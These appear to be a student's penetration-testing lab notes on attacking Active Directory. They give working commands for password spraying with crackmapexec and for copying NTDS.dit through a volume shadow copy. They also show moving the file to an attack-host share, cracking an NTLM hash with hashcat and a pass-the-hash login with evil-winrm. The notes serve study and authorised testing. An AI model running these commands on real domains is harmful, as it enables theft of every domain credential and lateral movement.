7. Attacking AD & NTDS.dit

Authentication process once a windows machine has been joined to a domain:

![](/img/Pasted image 20240808194608.png|1000) Once a Windows system is joined to a domain, it will no longer default to referencing the SAM database to validate logon requests.

OS Credential Dumping: NTDS https://attack.mitre.org/techniques/T1003/003/

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

Dictionary attacks against AD accs using nxc

Username Convention Practical Example for Jane Jill Doe
firstinitiallastname jdoe
firstinitialmiddleinitiallastname jjdoe
firstnamelastname janedoe
firstname.lastname jane.doe
lastname.firstname doe.jane
nickname doedoehacksstuff
or check email:
johnp@domain.com -> johnp username

Generating a list with OSINT https://github.com/urbanadventurer/username-anarchy Using automated tools can save us time when crafting lists. Still, we will benefit from spending as much time as we can attempting to discover the naming convention an organization is using with usernames because this will reduce the need for us to guess the naming convention.

then fire up nxc: crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt


NTDS - Description, exfiltration and cracking

NTDS - NT Directory Services Directory service used with AD used to find + organize network resources.

Creating a shadow copy of C: We can use vssadmin to create a Volume Shadow Copy (VSS) of the C: drive or whatever volume the admin chose when initially installing AD.

*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {186d5979-2f2b-4afe-8101-9f1111e4cb1a}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

Now copy NTDS.dit

cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

Let's copy NTDS.dit to our attack host: [[6. Attacking SAM, LSA, LSASS#windows smb exfil]]

cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData 

NetExec method for exfil ntds.dit

Alternatively, we may benefit from using CrackMapExec to accomplish the same steps shown above, all with one command. This command allows us to utilize VSS to quickly capture and dump the contents of the NTDS.dit file conveniently within our terminal session.

crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds

Cracking single hash with hashcat:

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

ps. you can put these all in a file

Pass-the-Hash

We can still use hashes to attempt to authenticate with a system using a type of attack called Pass-the-Hash (PtH). A PtH attack takes advantage of the NTLM authentication protocol to authenticate a user using a password hash. Instead of username:clear-text password as the format for login, we can instead use username:password hash. Here is an example of how this would work:

evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"

We can attempt to use this attack when needing to move laterally across a network after the initial compromise of a target.